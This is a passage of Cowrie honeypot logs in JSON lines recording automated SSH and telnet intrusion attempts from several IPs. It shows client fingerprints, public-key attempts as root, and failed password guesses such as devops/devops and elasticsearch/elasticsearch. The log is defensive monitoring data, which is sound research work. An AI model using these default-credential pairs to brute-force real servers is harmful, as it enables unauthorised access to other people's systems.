four","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.802124Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:30:70:91:dc:d9:43:06:b0:72:30:66:2a:53:1e:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKXQNvSzQOe/Kadi0ZmNOECW+zivDdomIkI60lQBjEVkdFuhj+I8IeheU+ZHMDjh4FyUGTQoGY127UYscmqXHNpx9y1OQHPTH0RYnX8CiXcYAwgkYzEXhWlkTkPie8jCQl+7NI/97dOoi9P+ewIPHZuZvRXb0vlw0OQNTJCa5uVqB2Fz30w54EZsi/bWGGoSLf1MFWdErP+tLgIpmcuPugNC8+ZazsnlhRGaaVx5bAjXIkfhUhn/07Y8nXBcX/dp9152MwqeQROBaIp00iWJuwDWi0Ivsyk/1CnPms3HrzN8BIujJqCHAPeCpi67CkGsacrhnuKRJ4A33GISn0qnemQiKvPmTT3jtxdhkEbg2VOtG3DDQS4z/y0Bg+tWTwz2fQzty4vyNTPjClsDxvN+C3NcgSBo6k95WNd3vvAiAEioGdCi9GBnRhxJka/tg9SiwLbnyHhAJgL0q8Qjn7BqBYRyjtmXKvg3zQr70xUypZIpQ9BJTUAYugVbFDR1JWf90=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:30:70:91:dc:d9:43:06:b0:72:30:66:2a:53:1e:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.955327Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:30:70:91:dc:d9:43:06:b0:72:30:66:2a:53:1e:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKXQNvSzQOe/Kadi0ZmNOECW+zivDdomIkI60lQBjEVkdFuhj+I8IeheU+ZHMDjh4FyUGTQoGY127UYscmqXHNpx9y1OQHPTH0RYnX8CiXcYAwgkYzEXhWlkTkPie8jCQl+7NI/97dOoi9P+ewIPHZuZvRXb0vlw0OQNTJCa5uVqB2Fz30w54EZsi/bWGGoSLf1MFWdErP+tLgIpmcuPugNC8+ZazsnlhRGaaVx5bAjXIkfhUhn/07Y8nXBcX/dp9152MwqeQROBaIp00iWJuwDWi0Ivsyk/1CnPms3HrzN8BIujJqCHAPeCpi67CkGsacrhnuKRJ4A33GISn0qnemQiKvPmTT3jtxdhkEbg2VOtG3DDQS4z/y0Bg+tWTwz2fQzty4vyNTPjClsDxvN+C3NcgSBo6k95WNd3vvAiAEioGdCi9GBnRhxJka/tg9SiwLbnyHhAJgL0q8Qjn7BqBYRyjtmXKvg3zQr70xUypZIpQ9BJTUAYugVbFDR1JWf90=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.959917Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:e5:c0:fa:94:96:a4:e5:83:3f:1c:5c:fe:e1:5f:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0zSM9KKaVDyk3m1uvkZazZcLoJUGWuevVZjXIVOpGtytM2osmW466ERYr2egdABsEoeDLH2Zqvv5RKNfAsY+jWK2rI2iyyjUmVqZyRAfrfa4ADiB8JgXNX6mEMgchxlR/X8D5yxzR0kOac3qGBkhBUiy2nc5+1WisUJv9ze4vFbRIiFjphvMn0SjGT0mTHdffzWww3CN3KKtIxUhKldg5tn7JBYEBR39NfNGzDOQs0DyIRL9SvYhsB4uBaQdDIs4TYAK8WCQG+dovfpJJbJpIcb5CiOPheeoxQCH83yyZ6j4JBMXJfHLiidyWiU70WHoXyWbXpaNE0S1c5b1mIsNnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:e5:c0:fa:94:96:a4:e5:83:3f:1c:5c:fe:e1:5f:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:11.996005Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:e5:c0:fa:94:96:a4:e5:83:3f:1c:5c:fe:e1:5f:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0zSM9KKaVDyk3m1uvkZazZcLoJUGWuevVZjXIVOpGtytM2osmW466ERYr2egdABsEoeDLH2Zqvv5RKNfAsY+jWK2rI2iyyjUmVqZyRAfrfa4ADiB8JgXNX6mEMgchxlR/X8D5yxzR0kOac3qGBkhBUiy2nc5+1WisUJv9ze4vFbRIiFjphvMn0SjGT0mTHdffzWww3CN3KKtIxUhKldg5tn7JBYEBR39NfNGzDOQs0DyIRL9SvYhsB4uBaQdDIs4TYAK8WCQG+dovfpJJbJpIcb5CiOPheeoxQCH83yyZ6j4JBMXJfHLiidyWiU70WHoXyWbXpaNE0S1c5b1mIsNnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.001123Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:2a:26:d8:78:fb:17:7f:0d:bb:ea:a3:f1:ea:f0:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBy6Ym0xVrL8mb75PKNaUgwBeD9pleD2Jjeys3wJhwbRA3FFJ1vojyIEq6Q2pJAR9YGJriXRwLRg5hyARx0nCkYVP/Kvktuay51tCAHUvxV4wSW45/vsKsMuQrHytkrtYa2hVVmjbETM49ysNAAapj3sd+04oRd0jq5CQUgU0zEBZLk/wYnsmFy90zGm2rMy7F4kk4UJmBVj3lr/TD6yfhj2vVHLdKulcRTnE+b3kouUhcrW6QIIzySRgt5uWE3v6UtRoqJsbsHIpHgqBZphTnIYQvamQZ+d6gL4Y3HEKfxt6EDukjkefQv/TfZuzcB++j4TL3fL9KDPcMcyYeRWRr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:2a:26:d8:78:fb:17:7f:0d:bb:ea:a3:f1:ea:f0:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.037363Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:2a:26:d8:78:fb:17:7f:0d:bb:ea:a3:f1:ea:f0:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBy6Ym0xVrL8mb75PKNaUgwBeD9pleD2Jjeys3wJhwbRA3FFJ1vojyIEq6Q2pJAR9YGJriXRwLRg5hyARx0nCkYVP/Kvktuay51tCAHUvxV4wSW45/vsKsMuQrHytkrtYa2hVVmjbETM49ysNAAapj3sd+04oRd0jq5CQUgU0zEBZLk/wYnsmFy90zGm2rMy7F4kk4UJmBVj3lr/TD6yfhj2vVHLdKulcRTnE+b3kouUhcrW6QIIzySRgt5uWE3v6UtRoqJsbsHIpHgqBZphTnIYQvamQZ+d6gL4Y3HEKfxt6EDukjkefQv/TfZuzcB++j4TL3fL9KDPcMcyYeRWRr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.042922Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:6c:a3:58:79:28:a9:d6:0b:bf:51:d3:3d:52:ea:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFmCbD/jqAKN0lztorIE2SvRqPsZs/vJznNwzTaBKmLXl3pJFfBFnhn6CU434MgC+EiTmnHxl9C+Tp3azHf78y0RL0yeLYR3Dqy/ctwsx7wc/lqhRelQoqblDHPaXCSa+JfoMR5VdzvqYOnb6VEQ26KjN0NeNaLwQs6YAAPyTSG+M8pevmMZ2ujpzUvVAYVPuPxiAVV9fAGvAKY7Z64aE42XApeBUVL72Dl8tuifgfpH4NWN0niSuvLjKhOp8lDhhP0tn4swj4kRibnrWPMpohnVgWmbxpN3CYeulp+/kCdxcU2Uy4U+Ilkz1xfiMc5tiXH7eCPQXerxERlnM8KTy1HU2tCXoZzHTRJMWzqilk9QUy0xQHUT+hjCgWI6oH5vGRy3C0tOML2DSSHNVBAXE/pr7AlHg8BEYq0Pt6JxAu/FLB2aYI5CIKckct0SRW0jll0sANxifsoHZtX+BTmSZFezU0SggWILGJ5u9Yzqq5k/NHWsqQbSluk14+6DoH49tOyLB++HDTJAuwxMjfVQpI3xtY9oim89LXl713/WdQe3G0r9NZR8HetG9AzeM1t2FRanho9FC1uecsHuXW41CNuuexf/B3w5MSTACQ3Ul8jCUL8KCfUtv7RA26roAPqRSp4JMNkgjSQv0cgmbFujpZOdSkmsPD90jo4wa+Wf03Dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:6c:a3:58:79:28:a9:d6:0b:bf:51:d3:3d:52:ea:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.079889Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:6c:a3:58:79:28:a9:d6:0b:bf:51:d3:3d:52:ea:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFmCbD/jqAKN0lztorIE2SvRqPsZs/vJznNwzTaBKmLXl3pJFfBFnhn6CU434MgC+EiTmnHxl9C+Tp3azHf78y0RL0yeLYR3Dqy/ctwsx7wc/lqhRelQoqblDHPaXCSa+JfoMR5VdzvqYOnb6VEQ26KjN0NeNaLwQs6YAAPyTSG+M8pevmMZ2ujpzUvVAYVPuPxiAVV9fAGvAKY7Z64aE42XApeBUVL72Dl8tuifgfpH4NWN0niSuvLjKhOp8lDhhP0tn4swj4kRibnrWPMpohnVgWmbxpN3CYeulp+/kCdxcU2Uy4U+Ilkz1xfiMc5tiXH7eCPQXerxERlnM8KTy1HU2tCXoZzHTRJMWzqilk9QUy0xQHUT+hjCgWI6oH5vGRy3C0tOML2DSSHNVBAXE/pr7AlHg8BEYq0Pt6JxAu/FLB2aYI5CIKckct0SRW0jll0sANxifsoHZtX+BTmSZFezU0SggWILGJ5u9Yzqq5k/NHWsqQbSluk14+6DoH49tOyLB++HDTJAuwxMjfVQpI3xtY9oim89LXl713/WdQe3G0r9NZR8HetG9AzeM1t2FRanho9FC1uecsHuXW41CNuuexf/B3w5MSTACQ3Ul8jCUL8KCfUtv7RA26roAPqRSp4JMNkgjSQv0cgmbFujpZOdSkmsPD90jo4wa+Wf03Dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.084059Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:f2:99:23:ad:6f:a6:78:12:1f:8f:ca:28:c6:ab:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRUjfXfFE5cZ0amga0C8ufF3dRcxxDkM4JfyF7aDNxwrupzkig9mEOneqz28PvCoSwdtaxaVarBT/VJ131JSK+pRc+6OlNNWfDEbrI84VFwLoT+5CfH8GlfxleUE4JB3WwKGXss3QqzDUkACbwhzOrlQTNbt0uX/bvypPZNbNHBUBuNo5+Gqu6jdDa8zvXFVXaswm85TS1v7nvcnvC1dub6U5G5NJrN4zFWUKRHxAewCaoeHZ/gmVCGPgc+t8EoEs2WBKlr6xjWzNGjxX8OBBCqn5Uul8iCyDubQigbisaoybERyb3RGgb60c1OYNrwb0zllYG88z1CEOC7Viq4gKt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:f2:99:23:ad:6f:a6:78:12:1f:8f:ca:28:c6:ab:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.121066Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:f2:99:23:ad:6f:a6:78:12:1f:8f:ca:28:c6:ab:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRUjfXfFE5cZ0amga0C8ufF3dRcxxDkM4JfyF7aDNxwrupzkig9mEOneqz28PvCoSwdtaxaVarBT/VJ131JSK+pRc+6OlNNWfDEbrI84VFwLoT+5CfH8GlfxleUE4JB3WwKGXss3QqzDUkACbwhzOrlQTNbt0uX/bvypPZNbNHBUBuNo5+Gqu6jdDa8zvXFVXaswm85TS1v7nvcnvC1dub6U5G5NJrN4zFWUKRHxAewCaoeHZ/gmVCGPgc+t8EoEs2WBKlr6xjWzNGjxX8OBBCqn5Uul8iCyDubQigbisaoybERyb3RGgb60c1OYNrwb0zllYG88z1CEOC7Viq4gKt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.124797Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.162639Z","src_ip":"68.235.52.99","session":"26506843a3ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:12.423771Z","src_ip":"83.168.110.85","session":"af34c3073560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":44956,"dst_ip":"159.203.135.109","dst_port":22,"session":"e68f7170d74c","protocol":"ssh","message":"New connection: 94.159.110.201:44956 (159.203.135.109:22) [session: e68f7170d74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:16.952792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:16.958094Z","src_ip":"94.159.110.201","session":"e68f7170d74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:17.081198Z","src_ip":"94.159.110.201","session":"e68f7170d74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36378,"dst_ip":"10.17.0.5","dst_port":22,"session":"a13b838d0010","protocol":"ssh","message":"New connection: 83.168.110.85:36378 (10.17.0.5:22) [session: a13b838d0010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:17.404595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:17.410568Z","src_ip":"83.168.110.85","session":"a13b838d0010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfreyjdf","message":"login attempt [root/cfreyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:17.451541Z","src_ip":"94.159.110.201","session":"e68f7170d74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:17.531255Z","src_ip":"83.168.110.85","session":"a13b838d0010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:18.217707Z","src_ip":"83.168.110.85","session":"a13b838d0010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:18.576345Z","src_ip":"94.159.110.201","session":"e68f7170d74c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:19.341755Z","src_ip":"83.168.110.85","session":"a13b838d0010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33568,"dst_ip":"10.17.0.5","dst_port":22,"session":"70704278633f","protocol":"ssh","message":"New connection: 83.168.110.85:33568 (10.17.0.5:22) [session: 70704278633f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:24.481978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:24.487633Z","src_ip":"83.168.110.85","session":"70704278633f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:24.609369Z","src_ip":"83.168.110.85","session":"70704278633f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:24.973349Z","src_ip":"83.168.110.85","session":"70704278633f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:26.340864Z","src_ip":"83.168.110.85","session":"70704278633f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e2d784a83d","protocol":"telnet","message":"New connection: 152.42.224.71:40886 (10.17.0.5:23) [session: 74e2d784a83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:28.354168Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33582,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8b57a37c4d","protocol":"ssh","message":"New connection: 83.168.110.85:33582 (10.17.0.5:22) [session: da8b57a37c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:31.350909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:31.355690Z","src_ip":"83.168.110.85","session":"da8b57a37c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:31.476886Z","src_ip":"83.168.110.85","session":"da8b57a37c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:31.841544Z","src_ip":"83.168.110.85","session":"da8b57a37c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:37:32.968668Z","src_ip":"83.168.110.85","session":"da8b57a37c4d","protocol":"ssh"}
